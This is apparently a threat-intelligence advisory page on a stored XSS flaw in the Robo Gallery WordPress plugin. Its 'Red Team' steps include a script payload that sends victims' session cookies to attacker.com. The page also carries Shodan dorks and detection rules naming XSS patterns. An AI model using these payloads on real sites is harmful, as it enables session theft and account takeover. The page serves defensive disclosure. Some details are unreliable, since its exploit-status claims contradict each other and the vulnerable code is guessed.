☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Robosoft logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 5.9 CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-47521

CVE-2025-47521 Cross-Site Scripting in Robosoft
📅 PUBLISHED: 2025-05-07 15:16 UTC 🔄 UPDATED: 2026-08-12 14:51 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.17%
👁️
0.17% probability
4.3× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 5.9
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: H Privileges Required High
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
5.9
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-47521 is a Stored Cross-Site Scripting (XSS) vulnerability in the Robo Gallery WordPress plugin (versions up to and including 5.0.2) developed by Robosoft. This flaw allows an authenticated attacker with contributor-level privileges or higher to inject arbitrary JavaScript into gallery entries, which is then executed in the browsers of any user viewing the compromised gallery page. The vulnerability stems from improper neutralization of user-supplied input during web page generation. Given the plugin’s widespread use in WordPress media management, this poses a significant risk to site integrity and user data confidentiality. No public exploit code or patch is currently available, making proactive detection and mitigation critical.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. The plugin is not an NPM, PyPI, Go, or Ruby package. However, the supply chain risk is elevated due to the lack of a vendor patch and the plugin’s direct integration into WordPress core functionality. Administrators must manually audit and apply workarounds until an official update is released.

CVSS Breakdown & Threat Level

  • CVSS Score: 5.9 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: High (Contributor or higher)
  • User Interaction: Required (victim must view the gallery)
  • Scope: Changed (impact on other components)
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: Low

Threat Level: Medium. While the CVSS score is moderate, the stored nature of the XSS and the potential for privilege escalation via session hijacking or keylogging elevates the real-world risk. The lack of a patch further increases urgency.

Deep Dive & Mechanics

The vulnerability resides in the robo-gallery plugin’s gallery creation and editing functionality. When a user with contributor-level access or higher creates or modifies a gallery item (e.g., adding a title, description, or custom link), the plugin fails to sanitize or escape the input before storing it in the WordPress database. When the gallery is rendered on a front-end page, the unsanitized input is injected directly into the HTML DOM without proper encoding.

Attack Flow:

  1. An authenticated attacker (e.g., a compromised contributor account) navigates to the gallery editor.
  2. The attacker inserts a malicious payload into a text field, such as:
    <img src=x onerror=alert('XSS')>
    
  3. The plugin stores this payload in the wp_postmeta table.
  4. When an administrator or visitor loads the page containing the gallery, the payload executes in their browser context.
  5. The attacker can then steal cookies, perform actions on behalf of the victim, or redirect users to phishing sites.

The vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').

Vulnerable vs. Patched Code

Vulnerable Code (robo-gallery <= 5.0.2): The plugin likely uses echo or the_content filter without escaping. Example:

// In gallery template
echo "<div class='gallery-item'>" . $gallery_item['title'] . "</div>";

Patched Code (Hypothetical): A proper fix would use WordPress’s esc_html() or wp_kses_post() functions:

echo "<div class='gallery-item'>" . esc_html( $gallery_item['title'] ) . "</div>";

Since no official patch exists, administrators must manually apply escaping via a custom plugin or theme override.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • WordPress instance with Robo Gallery <= 5.0.2 installed.
  • Contributor-level account credentials.

Exploitation Steps:

  1. Log in as a contributor.
  2. Navigate to WP Admin > Robo Gallery > Add New.
  3. In the "Title" field, inject:
    <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
    
  4. Save the gallery item.
  5. Craft a link to the gallery page and send it to an administrator (social engineering).
  6. When the admin views the page, the script executes, exfiltrating their session cookie.

No public exploit code is available. The above manual steps demonstrate the attack vector.

Blue Team (Defensive)

Detection & Prevention:

  • Web Application Firewall (WAF): Deploy rules to block common XSS patterns in POST requests to wp-admin/admin-ajax.php or gallery endpoints.
  • Input Validation: Use WordPress’s wp_kses() on all gallery fields via a custom plugin.
  • Content Security Policy (CSP): Implement a strict CSP header to block inline scripts:
    Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
    
  • User Education: Restrict contributor-level access to trusted users only.

Indicators of Compromise (IOCs)

  • File System: Modified gallery templates in /wp-content/plugins/robo-gallery/ containing unsanitized output.
  • Database: Entries in wp_postmeta with meta_key containing robo_gallery and meta_value including <script> tags or event handlers.
  • Network: Outbound HTTP requests to unknown domains from the WordPress server (cookie exfiltration).
  • Logs: Unusual POST requests to /wp-admin/admin-ajax.php with action=robo_gallery_save and payloads containing HTML/JavaScript.

Detection Engineering

YARA Rule

rule detect_robo_gallery_xss {
    meta:
        description = "Detects stored XSS payloads in Robo Gallery plugin data"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-47521"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $event_handler = /on\w+\s*=\s*['\"][^'\"]*['\"]/i
    condition:
        any of them
}

Sigma Rule

title: Robo Gallery Stored XSS Detection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects stored XSS payloads in Robo Gallery plugin
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: 'POST'
        http.url: '/wp-admin/admin-ajax.php'
        http.body: 'action=robo_gallery_save'
        http.body|contains: 
            - '<script'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of HTML in gallery descriptions (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-47521 Robo Gallery Stored XSS Payload"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=robo_gallery_save"; http_client_body; pcre:"/(<script|onerror=|onload=)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin until a patch is released.
  2. Restrict contributor roles to only trusted users.
  3. Apply a virtual patch via WAF to block XSS patterns in gallery endpoints.

Long-Term Fix:

  • Monitor the WordPress plugin repository for an official update.
  • If the vendor remains unresponsive, consider forking the plugin and applying the escaping fix manually.
  • Replace the plugin with an alternative gallery solution (e.g., NextGEN Gallery) if no patch is forthcoming.

Valters IT Signature: This report was generated by Valters IT Cyber Threat Intelligence Division. For questions, contact threatintel@valtersit.com.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Robo Gallery"
http.html:"robo-gallery"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-47521/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.